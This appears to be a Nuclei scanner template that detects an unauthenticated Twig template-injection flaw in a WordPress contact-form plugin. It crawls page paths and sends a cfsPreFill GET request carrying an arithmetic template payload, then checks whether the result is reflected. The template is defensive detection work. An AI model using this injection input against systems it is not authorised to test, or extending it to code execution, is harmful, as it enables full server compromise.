id: CVE-2026-4257

info:
  name: WordPress Contact Form by Supsystic - Server-Side Template Injection
  author: theamanrawat
  severity: critical
  description: |
    Contact Form by Supsystic WordPress plugin <= 1.7.36 contains a server-side template injection caused by unsandboxed Twig_Loader_String and cfsPreFill functionality, letting unauthenticated attackers execute arbitrary code remotely via GET parameters.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP functions and OS commands remotely, leading to full server compromise.
  remediation: |
    Update to the latest version beyond 1.7.36.
  reference:
    - https://patchstack.com/database/vulnerability/wordpress-contact-form-by-supsystic-plugin-1-7-36-unauthenticated-server-side-template-injection-via-prefill-functionality-vulnerability
    - https://plugins.trac.wordpress.org/browser/contact-form-by-supsystic/tags/1.7.36/modules/forms/views/forms.php#L323
    - https://plugins.trac.wordpress.org/changeset/3491826/contact-form-by-supsystic
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-4257
    epss-score: 0.41475
    epss-percentile: 0.9854
    cwe-id: CWE-94
  metadata:
    max-request: 7
    verified: true
    vendor: supsystic
    product: contact_form
    framework: wordpress
    shodan-query: http.component:"WordPress"
  tags: cve,cve2026,wordpress,wp-plugin,contact-form-by-supsystic,ssti,rce,twig,unauth

variables:
  num1: "{{rand_int(40000, 44800)}}"
  num2: "{{rand_int(40000, 44800)}}"
  payload: "%7B%7B{{num1}}*{{num2}}%7D%7D"
  result: "{{to_number(num1)*to_number(num2)}}"

flow: |
  http(1);
  let found = [];
  let seen = {};
  for (let p of iterate(template["page-paths"])) {
    if (!seen[p]) {
      seen[p] = true;
      found.push(p);
    }
  }
  let defaults = ["/?page_id=2", "/?page_id=3", "/?page_id=4", "/?page_id=5", "/?page_id=6"];
  for (let d of defaults) {
    if (!seen[d]) {
      seen[d] = true;
      found.push(d);
    }
  }
  for (let page of found) {
    let sep = page.includes("?") ? "&" : "?";
    set("pagepath", page + sep + "cfsPreFill=1&first_name={{payload}}");
    if (http(2)) break;
  }

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    extractors:
      - type: regex
        name: page-paths
        internal: true
        group: 1
        regex:
          - 'href="(?:https?://[^/"]+)?(/\?page_id=\d+)'
          - 'href="(?:https?://[^/"]+)?(/[a-z][a-z0-9-]+/)'
        part: body

  - method: GET
    path:
      - "{{BaseURL}}{{pagepath}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value="{{result}}"'

      - type: word
        part: body
        words:
          - 'contact-form-by-supsystic'

      - type: status
        status:
          - 200
# digest: 490a0046304402200f392c919b8aeb043cdfd4ba7cab4c112ef6bfc99662e617ecc9ef34b3330eef02202b635cd97320ae763eed42a7ebbb216d39ffc81a6cc30b6bb44984d6393863eb:922c64590222798bb761d5b6d8e72950